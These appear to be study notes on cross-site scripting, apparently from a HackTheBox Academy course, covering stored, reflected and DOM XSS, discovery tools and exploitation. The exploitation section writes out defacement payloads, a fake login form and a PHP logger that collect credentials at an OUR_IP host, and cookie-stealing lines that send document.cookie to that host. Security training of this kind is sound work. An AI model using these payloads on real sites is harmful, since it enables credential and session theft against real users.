Cross-Site Scripting vulnerabilities take advantage of a flag in user input sanitization to “write” Javascript code to the page and execute it on the client side.
Usually a web application will receive HTML code from the back-end server and render it on the client-side internet browser. A vulnerable web application does not sanitize input and a malicious user can inject JS in an input field, so once another use views the same page, they unknowingly execute the JS code.
These vulnerabilties only affect the client-side and do not directly affect the back-end server.
Stored XSS
If our inject XSS payload gets stored in the back-end database and retrieved upon visiting the page, that means our XSS attack is persistent and may affect any user that visit the page. This is the most critical type of XSS.
Many modern web apps utilize cross-domain iFrames to handle user input, so that if the web form is vulnerable to XSS, it would not be a vulnerability on the main web application. Using a payload like
window.origincan help identify where the XSS is being executed and confirm which form is the vulnerable one.
Some common payloads are
<!-- pop up with URL of the page it is being executed on -->
<script>alert(window.origin)</script>
<!-- stop rendering of HTML code that comes after it and display as plaintext -->
<plaintext>
<!-- pop up the browser print dialog -->
<script>print()</script>Reflect XSS
Occurs when our input reaches the back-end server and gets return to us without being filtered or sanitized. Some examples might be error messages or confirmation messages. These are usually temporary messages, once we move from the page, they would not execute again.
To target victims with it, we have to look at the HTTP request sent to the server. For instance, if the request was GET request (where the their parameters are part of the URL) we can send a URL containing our payload.
DOM XSS
Occurs when JavaScript is used to change the page source through the Document Object Model (DOM). We can notice that input with this request doesn’t make any HTTP requests, instead the input is being processed at the client-side through JS and never reaches the back-end. To view where our payload is being processed, we have to view the the Rendered Page Source through the web inspector.
The Source is the Javascript object that takes the user input, it can be any input like a URL parameter or an input field.
The sink is the function that writes the user input to DOM Object on the page. If the Sink does not properly sanitize user input it would be vulnerable to an XSS attack.
Some commonly used functions to write to the DOM are
document.write()DOM.innerHTML- Does not allow the use of the
<script>tag.
- Does not allow the use of the
DOM.outerHTML
Some of the jQuery library functions that write to DOM objects are
add()after()append()
Some common payloads for DOM XSS
<!-- execute when image is not found -->
<img src="" onerror=alert(window.origin)>Discovery
Paid tools that perform discovery are Nessus, Burp Pro, or ZAP. Some common open source tools that can assist are XSS Strike, Brute XSS, and XSSER. PayloadAllTheThings contains some powerful XSS payloads.
The most reliable method, however, is manual code review.
Exploitation
Phishing
Defacing is one the most common attacks usually used with Stored XSS vulnerabilties. It means changing its look for anyone who visits the website.
Four HTML elements are usually utilized to change the main look of a web page.
- Background Color
document.body.style.background - Background
document.body.background - Page Title
document.title - Page Text
DOM.innerHTML
Here are some payloads
<!-- change background -->
<script>document.body.style.background = "#141d2b"</script>
<!-- set an image as background -->
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>
<!-- changing page title -->
<script>document.title = 'HackTheBox Academy'</script>
<!-- changing page text -->
document.getElementById("todo").innerHTML = "New Text"
<!-- all together in a single line -->
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>Phishing can be done through injecting fake login forms that send the login details to the attacker’s server, which may then be used to log in on behalf of the victim.
An example of such a payload
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>We can also remove elements from the page by using the javascript function document.getElementById().remove().
To actually steal the credentials we need to start some sort of server.
sudo nc -lvnp 80This solution however will give a Unable to connect error, which raises suspicion. We can use a basic PHP script that logs the credentials from the HTTP request and then returns the victim to the original page without any injections.
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>Session Hijacking
Most web applications use cookies to maintain a user’s session throughout different browsing sessions. If we obtain the cookie data from the victim’s browser, they may be able to gain logged-in access with the victim’s user without knowing their credential.
We can load a remote script in HTML
<script src="http://OUR_IP/script.js"></script>We can also specify the path based on which field we are evaluating for XSS, based on the request we can see which field is vulnerable.
A typical session hijacking payload will look like
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;